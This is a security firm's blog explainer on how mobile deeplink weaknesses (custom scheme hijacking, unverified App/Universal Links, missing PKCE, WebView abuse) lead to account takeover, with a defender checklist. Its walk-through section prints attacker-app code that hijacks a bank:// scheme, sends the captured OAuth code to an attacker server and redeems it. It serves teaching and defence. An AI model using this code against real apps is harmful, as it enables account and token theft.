main logo icon

Published on

April 29, 2026

|

26 min read

Full Account Takeover via Deeplinks: Mobile URL Handlers as ATO Vectors

How attackers chain mobile deeplink weaknesses with OAuth callbacks, magic-link flows, and WebView bridges into full account takeover. Verified CVEs, public bug bounty disclosures, and a layered defender stack.

Arafat Afzalzada

Arafat Afzalzada

Founder

Web App Security

Summarize with AI

ChatGPTPerplexityGeminiGrokClaude

TL;DR

A mobile deeplink is a URL that crosses the boundary between web context and app context. That boundary is where account takeover attackers live. Three deeplink families exist: iOS Universal Links and Android App Links (cryptographically bound to a domain via apple-app-site-association or Digital Asset Links assetlinks.json), and custom URI schemes (registered in the app manifest with no claim verification). When apps mix these families, or skip RFC 8252's PKCE requirement on the OAuth client, a sibling app on the victim device can register the same scheme, win the OS routing, and capture the OAuth authorization code or access token in flight. Verified anchors: CVE-2026-26123 (Microsoft Authenticator's unclaimed ms-msa:// deeplink, full ATO bypassing 2FA, patched March 2026), Microsoft's "Dirty Stream" research on Android FileProvider abuse affecting four billion installs (May 2024), the Liu et al. USENIX Security 2017 measurement that only two percent of Android apps pass App Link verification. Public bug bounty disclosures: Shopify Arrive magic-link interception via Branch.io app.link (HackerOne #855618), KAYAK 1-click ATO via deeplink (HackerOne #1667998), GSA OAuth tokens stolen via redirect_uri at US$750 (HackerOne #665651), Grab insecure deeplink loading attacker URLs in webview (HackerOne #401793), Periscope OAuth callback bypass on X / xAI (HackerOne #110293). The defender stack is seven layers: link claim, intent / activity, OAuth client (PKCE + state), user-agent (Custom Tabs / SFSafariViewController, never embedded WebView), token storage (Keychain / EncryptedSharedPreferences), WebView containment, and telemetry. RFC 8252 is the canonical spec for OAuth on native apps. OWASP MASVS-PLATFORM-3 and MASTG-TEST-0028 are the canonical test cases for deeplink verification.

A user receives an SMS with what looks like a normal HTTPS link, taps it, and the bank's iOS app opens. The app fires its OAuth client. The authorization server redirects with a code in the URL. The OS routes the response. A separate app on the same phone wakes up and reads the authorization code, redeems it for an access token at the bank's authorization server, and walks away with a session cookie. The victim sees the bank's home screen and assumes the magic link worked. Nothing on the device suggests anything went wrong, and a phishing page was never loaded. This is the deeplink account takeover pattern, and it has been documented in production iOS and Android apps every year since the Liu et al. USENIX Security 2017 measurement found that only two percent of Android apps shipping deeplinks passed full App Link verification.

Four enduring weakness classes consistently surface in mobile pentests. The first is custom URI scheme hijacking, where two apps register the same scheme such as bank:// and the OS routes the intent to whichever app the user picks. The second is unverified Universal Links and App Links: the apple-app-site-association (AASA) JSON or /.well-known/assetlinks.json Digital Asset Links file is missing, wildcarded, or hosted behind a redirect, and the platform falls back to user-prompt or first-app-installed routing. The third is OAuth callback hijack: an RFC 6749 authorization code or implicit-grant token returns through an unverified deeplink to a sibling app. The fourth is missing PKCE (RFC 7636) on a mobile OAuth client, which RFC 8252 Section 8.1 makes mandatory. Each maps to an OWASP MASVS control and is anchored on a verified CVE or public bug bounty disclosure.

This post is the Stingrai team's technical explainer of how attackers turn mobile deeplinks into full account takeover. The audience is mobile engineers, AppSec leads, and security buyers evaluating a mobile pentest. Every numeric claim and every named CVE links to its primary publisher. Anchors include OWASP MASVS, OWASP MASTG including MASTG-TEST-0028 Testing Deep Links, the IETF OAuth specifications RFC 6749, RFC 7636, RFC 8252, and RFC 6819, the National Vulnerability Database, HackerOne Hacktivity, Microsoft Security Response Center, and primary research from NowSecure, Doyensec, Ostorlab, and PortSwigger Web Security Academy. The post does not invent CVE numbers, fabricate exploit code, or paraphrase research without attribution.

  • Custom URI scheme hijacking. Multiple apps register the same scheme. The OS routes the intent to whichever app the user picks. Liu et al. USENIX Security 2017 is the canonical measurement.

  • Unverified AASA / assetlinks.json. Wildcard paths, missing autoVerify, or absent Digital Asset Links file. See Apple Universal Links docs and Android App Links docs.

  • OAuth callback hijack via deeplink. RFC 8252 Section 7 covers redirect URI options; Shopify HackerOne #855618 is the canonical Branch.io example.

  • Missing PKCE on mobile OAuth. RFC 8252 Section 8.1 makes PKCE mandatory for native clients. Authorization-code flows without PKCE are fully redeemable by an attacker that captures the code.

  • Token / session leakage to deeplink. Magic-link tokens travel in URL fragment or query. Referer headers, OS logs, and intent receivers all leak. HackerOne #855618 (Shopify Arrive via app.link) is the public anchor.

  • Implicit-grant token in URL fragment. The OAuth 2.0 implicit grant returned access_token in a URL fragment. RFC 8252 Section 8.2 deprecates it for native apps; auth servers still expose it for legacy reasons.

  • WebView opens deeplinks unrestricted. JavaScript inside a WebView fires intent: or scheme URLs, breaking the OS sandbox boundary. Microsoft's "Dirty Stream" research (May 2024) showed FileProvider variants of this class affecting four billion installs.

  • Universal Link prefix collision. Two apps claim overlapping paths on the same host. iOS picks one, attackers register the other.

  • Unclaimed deeplink registered later by a sibling app. CVE-2026-26123 (Microsoft Authenticator) is the recent canonical example: the ms-msa:// deeplink was emitted by the app but never claimed via an intent filter, so any malicious sibling app could claim it.

  • SDK-baked auth flows. A third-party SDK exposes a deeplink receiver without claim verification. Inherited by every app that ships the SDK. Branch.io app.link, in the Shopify Arrive disclosure, is the public example.

Chart Deeplink Vuln By Class

Figure 1: The ten enduring deeplink ATO weakness classes and their OWASP MASVS controls or OAuth RFC anchors. Each row is anchored on a verified CVE, IETF spec, or a public bug bounty disclosure. Sources: OWASP MASVS, OWASP MASTG, IETF RFC 6749, RFC 7636, RFC 8252, NVD, HackerOne Hacktivity.

A mobile deeplink is a URL that the operating system routes into an installed application instead of into a browser. Three families are in production today.

The oldest and weakest is the custom URI scheme, also called a private-use URI scheme. The app declares a scheme such as bank in its manifest, and the OS treats bank://callback?code=XYZ as a request to launch that app. iOS calls these custom URL schemes; Android exposes them through <data android:scheme="bank" /> inside an intent filter. Custom schemes have no claim verification: any app on the device can declare the same scheme, and on iOS the routing is essentially first-installed-wins, while on Android the user is prompted to pick when more than one app claims a scheme. RFC 8252 Section 7.1 permits private-use URI schemes for OAuth redirect URIs but mandates PKCE because of exactly this collision risk.

The second family is iOS Universal Links and Android App Links. Both are HTTPS URLs (https://bank.com/auth/callback) that the OS resolves through a cryptographic claim file hosted at /.well-known/. On iOS, Apple specifies the apple-app-site-association (AASA) JSON file: the file must be served over HTTPS at https://bank.com/.well-known/apple-app-site-association with Content-Type: application/json and no redirects, and it lists appID (Team ID + bundle identifier) plus an array of paths or path patterns the app is authorized to handle. Apple's documentation explicitly cautions that wildcards such as /* are over-permissive and that prefixes like NOT /path/to/exclude/* should be used to scope authorization tightly. iOS verifies the file at install time and only links a path to the app when the file claims it.

On Android, App Links use the Digital Asset Links protocol. The intent filter must declare android:autoVerify="true", and the host must serve a JSON file at https://bank.com/.well-known/assetlinks.json over HTTPS that lists the app's package name and the SHA-256 fingerprint of the signing certificate. The Android system queries the file at install time, and from Android 12 (API level 31) onwards, generic web intents that don't match a verified App Link resolve to the user's default browser instead of being open to interception. Earlier Android releases were more permissive: a single non-verifiable link in the manifest could cause the system to skip verification for all of an app's App Links.

The third family is the Web Intent on Android: an HTTPS URL that does not declare autoVerify and does not have a corresponding assetlinks.json claim. Web Intents fall back to user-prompt routing: when more than one app claims the path, the user picks. Liu et al. found in their 2017 USENIX measurement that only two percent of the deeplink-shipping apps in Google Play passed full App Link verification, and the remaining 98 percent shipped scheme URLs or unverified App Links subject to interception.

The two-second mental model: Universal Links and verified App Links cryptographically bind a domain to an app. Custom URI schemes do not. Web Intents do not. Mixing types is where ATO chains start.

Chart Deeplink Link Types

Figure 2: Custom URI scheme vs Android App Link vs iOS Universal Link, compared on verification, hijack risk, OAuth safety, and platform guidance. Sources: Apple Associated Domains documentation, Android App Links documentation, IETF RFC 8252, OWASP MASTG-TEST-0028.

Every deeplink ATO chain we have triaged in mobile pentests follows the same seven-step shape. The trigger is a phished link, the device receives it, the OS routes it, and somewhere along the chain a sibling app captures sensitive data in flight.

  1. Initial vector. A crafted link arrives via SMS, chat, email, ad, QR code, or a clickable link in a partner app. The link can be bank://callback?code=XYZ, https://bank.com/auth/callback?code=XYZ, or a magic-link redirector such as https://bank.app.link/abc123.

  2. OS link router. iOS or Android resolves the scheme or the AASA / assetlinks.json claim. If the link is a custom scheme, the OS picks the first or only app that claimed it. If it is an HTTPS link, the OS checks the link claim file. If the file is missing, redirected, or wildcarded, the OS falls back to user-prompt or browser routing.

  3. OAuth flow start. The chosen app fires an OAuth /authorize request to its authorization server (AS). The AS receives client_id, redirect_uri, response_type, state, and ideally code_challenge (PKCE).

  4. AS redirect. After the user authenticates (often silently if a session cookie exists in the embedded browser), the AS issues a 302 redirect with the authorization code in a query parameter on the redirect_uri.

  5. Routing the redirect. The OS receives the redirect_uri. If the scheme is custom and a sibling app claimed it, the sibling app receives the intent. On iOS, the sibling app's URL types match bank and application(_:open:options:) fires with the URL as input. On Android, an Activity with an intent filter for bank:// accepts it.

  6. Code redemption. The sibling (attacker) app POSTs to the AS /token endpoint with the captured code, the same client_id, and (if no PKCE was used) no code_verifier. Without PKCE, the AS has no way to bind the code to the original client; it returns an access_token.

  7. Session takeover. The attacker app holds an access_token scoped to the victim's account at the bank. From the AS's perspective the legitimate client redeemed the code. From the bank's perspective the user logged in normally.

Chart Deeplink Attack Chain

Figure 3: Seven steps from a phished SMS to a captured OAuth access token. Each arrow is an OS-mediated control point that can be hardened. Sources: RFC 6749, RFC 7636, RFC 8252, OWASP MASVS, Apple Universal Links docs, Android App Links docs.

The control points sit at steps 2, 5, and 6. Step 2 fails when AASA / assetlinks.json is missing or wildcarded. Step 5 fails when the scheme is custom-only or the app skips autoVerify. Step 6 fails when the OAuth client did not send PKCE code_challenge (RFC 7636). A defender stack that hardens any one of these layers breaks the chain. A defender stack that hardens all three is robust enough to ship.

Method 1: custom URI scheme hijacking

Custom URI schemes are the oldest and weakest deeplink family. The app's manifest declares a scheme, the OS treats any URL with that scheme as a request to launch the app, and there is no claim verification. The collision case is what makes it a security primitive. Liu et al. found in their 2017 measurement that the Google Maps google.navigation scheme was claimed by 79 apps from 32 different developers, and the more generic google.com scheme was claimed by 480 apps from 305 non-Google developers. Whoever the user picks at the OS prompt becomes the receiver of the intent, including any query parameters or fragment data the URL carried.

For OAuth, the implication is direct. If the legitimate app uses bank://callback?code=... as its redirect URI, a malicious sibling app can register bank:// in its own manifest, ship a malicious Activity that reads the incoming intent, and on Android compete with the legitimate app for routing. On iOS, scheme registration is essentially first-installed-wins for URL types, and the malicious app wins if it is installed first or the user picks it from the OS prompt. RFC 8252 Section 7.1 acknowledges this risk explicitly: "A limitation of using private-use URI schemes for redirect URIs is that multiple apps can typically register the same scheme, which makes it indeterminate as to which app will receive the authorization code." The RFC's remedy is two-fold: the app must use a reverse-domain-name scheme it controls (for example com.example.app:/oauth2/callback), and it must use PKCE so that even an intercepted code cannot be redeemed without the original code_verifier.

Both pieces are necessary. Reverse-domain-name schemes do not solve the collision problem: a malicious app can claim com.example.app just as easily as bank. The reverse-domain convention only reduces the chance of accidental collision between legitimate developers. PKCE is what closes the redemption window.

The 2017 USENIX measurement is the broad anchor. The narrower production anchor is the Ostorlab blog post "One Scheme to Rule Them All", which documents an OAuth account takeover via custom-scheme hijacking that affected most major OAuth providers and apps with over a billion combined downloads. The fix in every case is the same: use Universal Links or verified App Links for OAuth callbacks, not custom schemes.

When the app does the right thing and uses an HTTPS callback URL, the trust model rests entirely on the link claim file. On iOS that is the apple-app-site-association JSON; on Android it is /.well-known/assetlinks.json. Misconfigurations here turn a Universal Link or App Link back into something close to a custom scheme.

The most common misconfiguration is the wildcard. An AASA file that lists "paths": ["*"] claims every path on the host, which is permissive enough to be useful in development and toxic in production. Apple's documentation explicitly recommends NOT / prefixes to exclude callback paths from claim, especially for paths used by third-party SDKs and partners. A wildcard claim plus a partner endpoint that returns a redirect to an OAuth callback is enough to enable the chain in step 5 above.

The second most common is a missing or redirected assetlinks.json. The Android documentation requires the file to be served over HTTPS at https://bank.com/.well-known/assetlinks.json without redirects. A 301 to a CDN host, a 404, or a content-type mismatch all break verification. Before Android 12, a single non-verifiable link in the manifest could cause the system to skip verification for all of an app's App Links, so a stale dev-only intent filter could disable verification across production. Android 12 narrowed this: the system now applies verification per-link, but for older releases the rule still bites.

The third is the partner-domain redirect. A bank may host its OAuth redirect_uri on a path like https://bank.com/auth/callback, but the partner the bank uses for SSO may receive callbacks at https://partner.com/sso/callback. If bank.com's AASA file does not exclude /sso/, and the partner happens to ship an iOS app of its own that claims https://bank.com/sso/, the iOS routing will pick whichever app the user has installed.

The HackerOne report that anchors this class is #1087744 (Shopify, "Improper deep link validation"), which documented an activity that validated and handled deep-link requests initiated from a VIEW intent action with declared schemes including http and https for shopify.com and *.myshopify.com. The vulnerability lay in how Shopify's app processed deep links to sensitive areas like /admin. The class is tracked in OWASP MASTG-TEST-0028 Testing Deep Links, which lists deeplink enumeration and verification of correct website association as the principal Android test case under MASVS-PLATFORM-3.

This is the textbook full-ATO chain, and it sits exactly at the intersection of OAuth 2.0 and a mobile deeplink. The OAuth client running inside a mobile app initiates an authorization-code flow, the AS redirects with a code, and the redirect is delivered through a deeplink that an attacker app has hijacked.

The Shopify Arrive HackerOne report #855618 is the cleanest public example. The Arrive app used Branch.io's app.link deeplinks to deliver magic-link login tokens. Branch.io's app.link domain hosts a path that redirects to a custom-scheme deeplink, and the Branch SDK claims the path via Universal Link configuration. The Arrive vulnerability was that the app.link URL was not verified through the proper AASA claim path, so a malicious app could intercept the deeplink and the magic-link token rode along. The reporter described the bug as: "the magic link used for login by Arrive app uses Branch.io to pass the login token via deeplink to the app, but the URL contained in the link (app.link domain) is not verified, so it can be intercepted by a malicious app at takeover."

The GSA Bounty HackerOne report #665651 is the OAuth-server-side variant, and it earned US$750. The reporter found an open redirect on the redirect_uri parameter of login.fr.cloud.gov/oauth/authorize. By exploiting the open redirect, an attacker could capture users' OAuth tokens through a malicious redirect chain. The same class shows up in HackerOne #1861974 ("Stealing Users OAuth authorization code via redirect_uri") and HackerOne #405100 ("Stealing Users OAUTH Tokens via redirect_uri"). The Stripe / Slack / Microsoft / X (Twitter) bug bounty programs have all paid for OAuth callback hijacks of this shape, the highest-profile being HackerOne #110293, an insufficient OAuth callback validation in the Periscope app that allowed Twitter-account-linked Periscope ATO and earned 270 upvotes from the community.

The PortSwigger Web Security Academy OAuth track reproduces the entire class as runnable labs:

The fix is structural: the AS must enforce an exact-match redirect_uri allowlist (no substring match, no host-only match), the client must be registered with one or more specific URIs, and the URIs themselves must be Universal Links or verified App Links rather than custom schemes. PKCE on the client side is non-negotiable.

Method 4: missing PKCE on mobile OAuth

Proof Key for Code Exchange (PKCE), RFC 7636, is the OAuth countermeasure to authorization-code interception attacks. The flow adds two parameters: code_challenge (a SHA-256 hash of a random code_verifier) on the /authorize request, and code_verifier on the /token request. The AS stores the challenge and verifies the verifier on redemption. An attacker that intercepts the code cannot redeem it because they do not know the code_verifier.

RFC 8252 Section 8.1 is unambiguous: "OAuth servers MUST support PKCE [RFC 7636] which is REQUIRED to protect authorization code grants sent to public clients over inter-app communication channels." Native apps are public clients by definition: they cannot keep a client_secret confidential because the secret ships in the app binary. The combination of "public client" plus "redirect through a deeplink that may be hijacked" is exactly what PKCE was specified to address.

In practice, missing-PKCE is the easiest finding to spot in a mobile pentest. If the OAuth /authorize request goes out without code_challenge and code_challenge_method=S256, the flow is broken. If the /token request goes out without code_verifier, the AS is not enforcing PKCE on its end. We see both in production, more often than the spec deserves.

The defense is a one-line client change and a server-side configuration: the mobile SDK must emit PKCE parameters, and the AS must reject /token requests for codes issued with PKCE that arrive without the code_verifier.

Even when PKCE is in place, deeplinks are an excellent leakage channel. Magic-link login tokens, password-reset tokens, and one-time codes routinely travel in URL queries or fragments. The OS, the browser, and the receiving app all touch the URL in flight, and each touch is a potential leak.

On Android, the URL is logged in logcat if the receiving Activity logs intent extras (developers do). The Android Referer header on outbound web requests can carry the URL forward. Backup tools, third-party crash reporters, and some MDM agents capture intent data. On iOS, SFSafariViewController and WKWebView referrer-policy defaults can leak the URL to the next page if the deeplink eventually renders a web view.

The Shopify Arrive disclosure is again the canonical example, this time for the leakage class: the magic-link token rode in the deeplink URL, the app.link URL was not verified, and a sibling app could read the token off the intent. The fix is to scope the link claim file tightly so only the legitimate app receives the magic link, and to invalidate the magic-link token on the first use so a captured token cannot be replayed.

Method 6: implicit-grant tokens in URL fragments

The OAuth 2.0 implicit grant returned access_token directly in the URL fragment of the redirect. Fragments are not sent in HTTP requests, but they are visible to JavaScript on the receiving page and to the app receiving the deeplink. The implicit grant was specified as a workaround for browser limitations that no longer exist; RFC 8252 Section 8.2 deprecates it for native apps, and the OAuth 2.0 Security Best Current Practice deprecates it more broadly.

We still see it. Authorization servers expose the implicit grant for legacy clients, and mobile apps still ship implicit-grant flows when the developer copy-pasted an old SDK or library. The pattern is to switch the AS configuration off the implicit grant entirely, or to remove the response_type=token path from the AS routing. Where the AS cannot be changed (third-party social login, for example), the client must use authorization-code-with-PKCE and refuse to accept fragments.

A WebView is an embedded browser inside an app. JavaScript inside a WebView can call window.location = "bank://callback" and the OS will treat that as a deeplink invocation. This breaks the OS sandbox boundary: an attacker who gets JavaScript execution inside a WebView (cross-site scripting on a partner page that the app loads) can fire arbitrary deeplinks at sibling apps on the device.

Microsoft's "Dirty Stream" research, May 2024, is the most-cited recent disclosure of a WebView-adjacent class. Microsoft researcher Dimitrios Valsamaras documented Android FileProvider content provider abuse in which a malicious app sends a custom intent to a vulnerable app's exported content provider and overwrites a file in the target's internal storage, leading to code execution and token theft. Microsoft identified affected apps representing "over four billion installations" on Google Play, including Xiaomi's File Manager (over one billion installs, anchored on CVE-2024-35205) and WPS Office (about 500 million installs). The class is closely related to the WebView-deeplink primitive: both involve abusing a cross-process communication channel that the OS treats as trusted by default.

OWASP MASVS-PLATFORM-2 covers the WebView class. The defender stack is to disable JS-launched intents in untrusted WebViews, override shouldOverrideUrlLoading (Android) or decidePolicyFor: navigationAction: (iOS) to allowlist only known schemes, and never load attacker-controlled URLs in a WebView that has access to the app's deeplink registration.

Universal Links and App Links resolve a path-prefix match: an AASA file that claims /auth/* claims every URL under that prefix. If two apps happen to claim overlapping prefixes on the same host, iOS picks one. Apple's documentation does not formally specify which one wins, and historically the behavior has been "first installed" or "most recently installed," depending on the iOS version. The class is real: production apps occasionally ship a feature that emits links under a path that a partner SDK also claims, and the resulting routing is non-deterministic.

The fix is to scope path claims tightly with the NOT exclusion syntax that Apple supports, and to never share a path prefix with a partner SDK or third-party library that ships its own AASA configuration.

This is the CVE-2026-26123 class. Microsoft Authenticator's iOS and Android apps emitted a deeplink with the ms-msa:// scheme for QR-code-based account onboarding, but the app itself did not register an intent filter to handle that scheme. The deeplink was unclaimed by the app that emitted it. Any malicious sibling app installed on the same device could register ms-msa:// and intercept the authentication code embedded in the deeplink.

Microsoft's Security Update Guide describes the vulnerability and Microsoft addressed it in the March 2026 security update. The user-interaction requirement is real: the user must have a malicious app installed and must select that app as the handler when the OS prompts. But the prompt itself is engineered into the user's normal flow: scanning a QR code is something users are trained to do for legitimate Authenticator setup. The exploit bypassed 2FA, password requirements, and security alerts because the deeplink token was a master credential.

The defense is structural: every deeplink an app emits must be claimed by an intent filter (Android) or URL Type (iOS) that the same app handles, and the app must verify that the OS actually routed the deeplink to it (rather than to a sibling) before acting on the embedded data.

Method 10: SDK-baked auth flows

Third-party SDKs that handle authentication, deep linking, or magic-link delivery often expose deeplink receivers without claim verification by default. Branch.io, Firebase Dynamic Links (deprecated August 2025), AppsFlyer, and Adjust all ship deeplink SDKs with platform-specific configuration steps that the integrating developer is expected to follow correctly.

The Shopify Arrive disclosure is again the canonical example: the Branch.io app.link SDK shipped a deeplink receiver, and Arrive integrated it without verifying the deeplink path through the proper AASA claim. The fix is at the SDK-integration boundary: every SDK that exposes a deeplink receiver must be configured with explicit AASA / assetlinks.json claims for the paths the SDK uses, and the integrating app must validate the claim before trusting any embedded data.

The class generalizes: any auth flow that ships in an SDK (social login, magic link, partner SSO) inherits the SDK's deeplink security, which is rarely as tight as the integrating app's own deeplink security. Mobile pentests should explicitly enumerate every SDK that exposes a deeplink receiver and verify each one against MASTG-TEST-0028.

Chart Deeplink Cve Trend

Figure 4: Eleven verified deeplink-related CVEs and public disclosures from August 2017 (Liu et al. USENIX measurement) through March 2026 (CVE-2026-26123). Sources: nvd.nist.gov, datatracker.ietf.org, hackerone.com, microsoft.com/security.

Real attack chain walk-through

Pseudocode for an Android attacker app that hijacks a bank:// custom scheme. The attacker app is installed on the victim device, registers the bank scheme in its AndroidManifest.xml, and exfiltrates the OAuth code on receipt.

<!-- AndroidManifest.xml inside the malicious sibling app --> <activity android:name=".HijackActivity" android:exported="true"> <intent-filter android:priority="999"> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="bank" android:host="callback" /> </intent-filter> </activity>

// HijackActivity.java public class HijackActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Uri uri = getIntent().getData(); if (uri != null) { String code = uri.getQueryParameter("code"); String state = uri.getQueryParameter("state"); // Exfiltrate code to attacker-controlled server. new ExfiltrateTask().execute(code, state); } finish(); } }

The attacker server completes the OAuth dance:

# Attacker side (running on attacker.example). import requests def redeem(code, redirect_uri="bank://callback"): r = requests.post("https://bank.example/oauth/token", data={ "grant_type": "authorization_code", "code": code, "client_id": "the-bank-mobile-client-id", "redirect_uri": redirect_uri, }) return r.json() # {"access_token": "...", "token_type": "Bearer", ...}

The redemption succeeds because no PKCE code_verifier is required by the AS for clients that did not send a code_challenge. The same flow with PKCE in place fails at the /token step: the AS rejects the redemption because the verifier is missing.

The same chain on iOS replaces the <intent-filter> with a URL Type entry in Info.plist:

<key>CFBundleURLTypes</key> <array> <dict> <key>CFBundleURLSchemes</key> <array> <string>bank</string> </array> </dict> </array>

And the receiver replaces onCreate with an application(_:open:options:) handler:

func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool { let comps = URLComponents(url: url, resolvingAgainstBaseURL: false) let code = comps?.queryItems?.first(where: { $0.name == "code" })?.value // Exfiltrate. return true }

iOS treats URL Type registration as first-installed-wins for custom schemes that two apps both claim. If the malicious app is installed first, it wins.

Every mobile pentest should enumerate deeplinks and exercise them with platform-native tooling. The standard approach:

Android: dump the manifest, list every intent filter, and exercise each one with adb shell am start:

adb shell am start -W -a android.intent.action.VIEW \ -d "bank://callback?code=test&state=test" \ com.bank.app

The -W flag prints the result. The command should fail if the intent filter is properly scoped (host or path missing). Tools that automate this enumeration include Drozer and MobSF.

iOS: use xcrun simctl to launch URLs in the simulator:

xcrun simctl openurl booted "https://bank.com/auth/callback?code=test&state=test"

Or use idevicepair-tooling on a tethered device. The iOS Universal Links Validator checks AASA serving compliance.

OAuth flow inspection: route OAuth traffic through Burp Suite or mitmproxy and confirm three things on every flow: code_challenge present on /authorize, code_verifier present on /token, exact-match redirect_uri. Burp Mobile Assistant, Frida, and objection cover the mobile-specific tooling stack.

MASTG anchoring: MASTG-TEST-0028 Testing Deep Links is the canonical Android test. Its iOS sibling is documented under MASVS-PLATFORM-3 in the MASTG iOS Platform Interaction guide.

Defender stack: seven layers

A mature mobile deeplink security posture pairs platform-correct configuration with PKCE-correct OAuth and disciplined WebView containment. Treat the diagram below as a checklist for any iOS or Android deployment that handles OAuth, magic-link, or partner deeplinks.

Chart Deeplink Defender Stack

Figure 5: Seven layers of defense: link claim, intent / activity, OAuth client, user-agent, token storage, WebView containment, and telemetry. No single layer is sufficient. Sources: OWASP MASVS / MASTG, IETF RFC 6749 + RFC 7636 + RFC 8252, Apple and Android platform docs.

Layer 1: link claim. Ship explicit AASA paths, never /*. Use NOT prefixes to exclude callbacks from third-party SDKs and partners. Serve /.well-known/assetlinks.json over HTTPS with no redirects, content-type application/json. Set android:autoVerify="true" on every intent filter that handles HTTPS.

Layer 2: intent / activity scoping. Scope every intent filter narrowly. Never accept arbitrary host or path. Validate every input parameter from the URI before routing. Make activities android:exported="false" unless they must receive deeplinks; for those that do, validate the calling package against an allowlist where possible.

Layer 3: OAuth client. PKCE on every flow (RFC 7636, S256 method). state parameter on every /authorize request, validated on return. Exact-match redirect_uri allowlist on the AS, no host-only or substring match. No implicit grant. No client_secret shipped in the app binary.

Layer 4: user-agent. Use SFSafariViewController on iOS or Custom Tabs on Android for the OAuth /authorize flow. Never embedded WebViews. RFC 8252 Section 8.12 prohibits embedded user-agents for OAuth on native apps because they break browser session isolation.

Layer 5: token storage. Keychain (iOS) or EncryptedSharedPreferences / Android Keystore (Android). Bind tokens to device key. Never log tokens or write to clipboard. Refuse to persist tokens received via deeplink.

Layer 6: WebView containment. Disable JS-launched intents in untrusted WebViews. Override shouldOverrideUrlLoading (Android) or decidePolicyFor: navigationAction: (iOS) to allowlist only known schemes. Never load attacker-controlled URLs in a WebView that has access to the app's deeplink registration.

Layer 7: telemetry. Log every deeplink invocation with source app id (Android) or the calling URL referrer (iOS, UIApplication.OpenURLOptionsKey.sourceApplication is deprecated; use URL.host and URL.path validation). Alert on unexpected scheme registrations on the device. Surface deeplink-driven authentication events to the AS for anomaly detection.

What this means for security buyers

Deeplink ATO is the kind of finding that does not appear on a SAST report. SAST sees the manifest, sees the intent filter, sees the URL handler code. SAST does not see whether the AASA is wildcarded, whether the OAuth client sends PKCE, whether a sibling app on a real device wins the routing race. A static report can flag missing autoVerify, but it cannot exercise the chain.

Mobile pentest is the right tool. The pentester installs the app on a real device next to a controlled malicious sibling, exercises the OAuth flow under Burp, watches the OS routing, and confirms whether the AS enforces PKCE on its end. We treat the deeplink ATO chain as a standard test case in every Stingrai mobile PTaaS engagement, anchored on MASTG-TEST-0028 and the seven-layer defender stack above. The same approach feeds our web application penetration testing practice when the OAuth server is in scope, because half of the deeplink ATO chain lives on the AS side and the other half lives on the mobile client.

If your mobile app handles authentication, magic links, password resets, or payment confirmations through deeplinks, the four questions to ask your security partner are: (1) Are AASA and assetlinks.json files exact-path-scoped? (2) Is PKCE enforced on every OAuth code redemption? (3) Are OAuth flows opened in SFSafariViewController or Custom Tabs, never an embedded WebView? (4) Does telemetry capture the source app for every deeplink invocation? "Yes" to all four breaks the chain at multiple layers.

Frequently Asked Questions

A deeplink is a URL that the operating system routes into an installed application instead of a browser. Three families exist: custom URI schemes (e.g., bank://callback), Android App Links and iOS Universal Links (HTTPS URLs verified through /.well-known/assetlinks.json or apple-app-site-association), and Web Intents (HTTPS URLs without verification, which fall back to user-prompt routing on Android). Universal Links and verified App Links cryptographically bind a domain to an app via the Digital Asset Links protocol and Apple's AASA file. Custom URI schemes do not.

The classic chain is OAuth callback hijack. A mobile app uses an unverified deeplink such as bank://callback?code=... as its OAuth redirect URI. A malicious sibling app on the device registers the same scheme in its manifest and intercepts the OAuth authorization code in flight. Without PKCE, the attacker app redeems the code at the authorization server and walks away with an access token. Bug bounty disclosures include HackerOne #855618 (Shopify Arrive), HackerOne #1667998 (KAYAK), and HackerOne #110293 (X / Periscope).

What is CVE-2026-26123?

CVE-2026-26123 is a Microsoft Authenticator vulnerability disclosed in March 2026 in which the ms-msa:// deeplink emitted by the app for QR-code account onboarding was not claimed by an intent filter inside Authenticator itself. Any malicious sibling app could register the scheme and intercept the authentication code embedded in the deeplink, leading to full account takeover that bypassed 2FA, password requirements, and security alerts. Microsoft addressed the vulnerability in the March 2026 security update.

PKCE prevents the redemption step of the chain. Even if a sibling app intercepts the OAuth authorization code, the attacker cannot exchange it for an access token because the authorization server requires the original code_verifier that only the legitimate client knows. RFC 8252 Section 8.1 makes PKCE mandatory for native OAuth clients. PKCE does not prevent the interception step itself, so a layered defense pairs PKCE with verified Universal Links / App Links and never custom schemes alone.

Yes. Android App Links use the Digital Asset Links protocol: the host serves an /.well-known/assetlinks.json file over HTTPS that lists the package name and SHA-256 signing certificate fingerprint of the authorized app. Only the signed app can claim links from that domain. Custom URI schemes have no such cryptographic binding: any app can register any scheme. Android 12 and later further restrict generic web intents to default-browser routing unless the app is verified.

What does OWASP MASVS-PLATFORM-3 cover?

OWASP MASVS-PLATFORM-3 covers verification of platform interaction, including deeplink handling. The associated test case MASTG-TEST-0028 Testing Deep Links requires the tester to enumerate every deeplink the app handles, verify proper website association, and validate input data on every deeplink invocation. iOS testing is documented under MASVS-PLATFORM-3 in the MASTG iOS Platform Interaction guide.

Yes. JavaScript inside a WebView can call window.location = "bank://callback" and the OS treats that as a deeplink invocation, breaking the OS sandbox boundary. An attacker who gets JavaScript execution inside an app's WebView (cross-site scripting on a partner page that the app loads) can fire arbitrary deeplinks at sibling apps on the device. The defense is to override shouldOverrideUrlLoading (Android) or decidePolicyFor: navigationAction: (iOS) to allowlist only known schemes, and to never load attacker-controlled URLs in WebViews that share the app's process.

On Android use adb shell am start -W -a android.intent.action.VIEW -d "<url>" <package> to fire a deeplink at the target app, then verify input handling. On iOS use xcrun simctl openurl booted "<url>" in the simulator. Inspect OAuth traffic through Burp Suite or mitmproxy and confirm code_challenge, code_verifier, and exact-match redirect_uri on every flow. Use Drozer and MobSF to enumerate intent filters automatically. Anchor every test on MASTG-TEST-0028.

The Shopify Arrive HackerOne report #855618 documented an account takeover in which the magic link used for login by the Arrive app passed the login token via a Branch.io app.link deeplink. The app.link URL was not verified through the proper AASA claim path, so a malicious app on the device could intercept the deeplink and the magic-link token rode along. The class generalizes to any third-party deeplink SDK that exposes a receiver without claim verification.

Is the OAuth implicit grant safe on mobile?

No. RFC 8252 Section 8.2 deprecates the implicit grant for native apps. The implicit grant returns access_token in a URL fragment, which is visible to the receiving deeplink handler and to JavaScript on any page the URL eventually renders. Use authorization-code with PKCE instead, and configure the authorization server to refuse response_type=token for mobile clients.

References

